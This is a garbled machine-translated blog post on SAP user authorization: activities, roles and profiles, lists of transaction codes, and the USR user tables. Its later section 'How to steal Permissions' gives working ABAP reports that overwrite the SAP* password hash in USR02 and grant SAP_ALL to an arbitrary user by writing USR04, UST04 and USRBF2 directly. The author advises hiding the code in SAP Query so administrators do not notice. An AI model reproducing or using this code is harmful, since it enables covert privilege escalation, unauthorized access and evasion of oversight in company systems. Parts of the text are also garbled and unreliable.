Anatomy and self-Modification of SAP User Permissions
Generally, basis uses pfcg for permissions.Management, You will generate a non-system profile name when saving,
Do you remember that su01 has two columns: profile and role? What are their relationships?
First, understand several concepts.
1. Activity
Let's talk about activity. What does activity mean?
The dictionary knows what action to do. For example, if you cannot smoke, you can only drink, not more than two,
No, this is what my wife said. SAP is not like this. It can only be insert, update, display or something.
The Germans wrote these things in the tobj table.
Activity can also be divided into activity groups.
2. activity category & Authorization Group
Role vs Profile
You can see what K, D, a, m and so on.
What is profile? Actually, it can be understood as all authorization data (there are a lot of authorization groups -- {You can use oba7 to fill in, the permission is too fine is not a good thing ^ _ ^} and activity composition) the name of a set, usually a custom role
Create a profile. SAP permission control is based on the authorization data (objects) in the profile.
What is role? Role is just a name, and then the profile is assigned to it. For example, if you create
User, I don't have any role, but adding sap_all profile can also do anything.
SAP itself has many default Role & profile.
3. The most common pfcg-> authorizations-> change authorization data->
Select selection criteria to view all authorization objects.
Manually, You can manually add authorization object. For example, if an error occurs when you use a t-code permission, ABAP uses su53 to check
Know which authorization objec is missing, and then manually add it.
If you select authorization levels, you can subdivide permissions by account type.
Some even go directly to table fields. You can even allocate cache buffer to an object.
So how does sap achieve permission control? The Butcher will use a knife to slaughter it.
4. Several T-codes about permissions.
(1) role related t-code:
Pfac Standard
Pfac_chg change
Pfac_del Delete
Pfac_dis display
Pfac_ins new
Pfac_str
Pfcg Creation
Role_cmp comparison
Create role profiles in batches in supc
SwujTest
Su03 detect authorzation data
Su25, su26 check updated Profile
(2) create user-related t-code:
Su0
Su01
Su01d
Su01_nav
Su05
Su50, su51, su52
Su1
Su10 batch
Su12 batch
Sucomp: maintain your company address
Su2 change USER Parameters
Suim User Information System
User Group
Sugr: Maintenance
Sugrd: Display
Sugrd_nav: Maintenance
Sugr_nav: Display
(3) about Profile & authoraztion data
Su02: directly create a profile without using role
Su20: Subdivide authorization Fields
Su21 (su03): *** maintain authorization objects (tobj, usr12 ).
You can subscribe to the following creden:
F_bkpf_bed: accounting document: account authorization for MERs
F_bkpf_bek: accounting document: account authorization for vendors
F_bkpf_bes: accounting document: account authorization for g/L accounts
F_bkpf_bla: accounting document: Authorization for document types
F_bkpf_buk: accounting document: Authorization for company codes
F_bkpf_bup: accounting document: Authorization for posting periods
F_bkpf_gsb: accounting document: Authorization for business areas
F_bkpf_koa: accounting document: Authorization for account types
F_bkpf_vw: accounting document: change default values for Doc. Type/psky
Then you can further split the data. These items are saved in the usr12 table. In the DB layer, they are utab.
Segment specific transaction code:
Su22, su24
Su53: *** is used to check that no authoraztion objects exists.
Su56: Analyze authoraztion data buffers.
Su87: used to check the history generated by user changes
Su96, su97, su98, su99: What is it?
Supc: Batch generate role
DB and logical layers:
Sukri: Transaction combinations critical for security
Tables:
Tobj: All avaiable authorzation objects. (ALL here)
Usr12: user-level authoraztion Value
-----------------------------
Usr01: Master Data
Usr02: Password here
Usr04: Authorized here
Usr03: User address data
Usr05: User master parameter ID
Usr06: additional data per user
Usr07: Object/Values of last authorization check that failed
Usr08: Table for user menu entries
Usr09: entries for user menus (Work Areas)
Usr10: User master authorization profiles
Usr11: User master texts for profiles (usr10)
Usr12: User master authorization values
Usr13: Short texts for authorizations
Usr14: surchargeable language versions per user
Usr15: external user name
Usr16: Values for variables for user authorizations
Usr20: Date of last user master Reorganization
Usr21: Assign user name address key
Usr22: logon data without kernel access
Usr30: Additional information for user menu
Usr40: Table for illegal passwords
Usr41: current user
Usrefus:
Usrbf2
Usrbf3
Ust04: user profile here
Ust10c: composite profiles
Ust10s: single profiles
Ust12: authorizations ..............................
..............................
How to steal Permissions
..............................
User:
User Type ):
Common user types include
A. Dialog (normal user)
B. Communication
C. System
D. Service
E. reference.
Usually, you must have the permission to check before using any T-code.
Authority_check: This function only checks whether your user has expired.
** If coding only needs to use this function.
Authority_check_tcode: Check T-code
The optimize function is actually used to check autorization objects.
Susr_user_auth_for_obj_get:
Authorization_data_read_selobj:
------------------------------------------
Change the password of sap * to 123Program, Very simple.
We can find the user logon table usr02.
(Df52478e6ff90eeb is stored in DB through SAP encryption. Which of the following has studied sap password encryption ?)
Report zmodsap *.
Data zusr02 like usr02.
Select single * into zusr02 from usr02
Where bname = 'sap *'.
ZUSR02-Bcode = 'df52478e6ff90eeb '.
Update usr02 from zusr02.
The problem now is how to keep your basis invisible. It's easy to hide the code in the query, that is, you do
Query, query generates code, and then you addCodeWho can think of it ??? Then you will wait for your basis to cry...
It's so cool to do this. You should Secretly create your own users.
Here you must have a clear permission structure.
Permissions are related to the three tables.
A. usr04
B. usr04
C. usrbf2: The table corresponds to the authorzization objects used.
*&---------------------------------------------------------------------*
* & Report: steal sap all right *
* & Creation date: 2004.04.01 *
* & Created by: Stone. Fu *
* & Description: sap all permissions can be stolen *
* & Modified Date: 2005.11.02
* & Description: Run this code hide in report painter or query Code *
*&---------------------------------------------------------------------*
Report zrightsteal.
Data zusr04 like usr04 ."???????? Work area ??
Data zust04 like usr04.
Data zprofs like USR04-PROFS.
Data zusrbf2 like usrbf2 occurs 0 with header line.
"Usrbf2 ????? Internal table
** Update authorization table usr04.
Select single * into zusr04 from usr04
Where bname = 'zabc2 '. "sap all permission
Move 'C sap_all 'to zprofs.
ZUSR04-NRPRO = '14 '.
ZUSR04-PROFS = zprofs.
Update usr04 from zusr04.
** Update user authorization masters table ust04.
Select single * into zust04 from ust04
Where bname = 'zabc2 '.
ZUST04-PROFILE = 'sap _ all'. "sap all Permissions
Update ust04 from zust04.
*????? Insert
* ZUST04-MANDT = '000000 '.
* ZUST04-BNAME = 'zabc2 '.
* ZUST04-PROFILE = 'sap _ all '.
* Insert ust04 from zust04.
Select * From usrbf2 into Table zusrbf2
Where bname = 'sap *'.
Loop at zusrbf2.
ZUSRBF2-BNAME = 'zabc2 '.
Modify zusrbf2 index sy-tabix transporting bname.
Endloop.
Insert usrbf2 from Table zusrbf2 accepting duplicate keys.
Create a ztest user without any permissions and run the report zrightsteal on the test machine.
Then ztest is sap_all, and then you put the code hide in the SQP query code.ABAPCode is too easy to be discovered.
From http://space.itpub.net /? Uid-13946941-action-viewspace-itemid-468329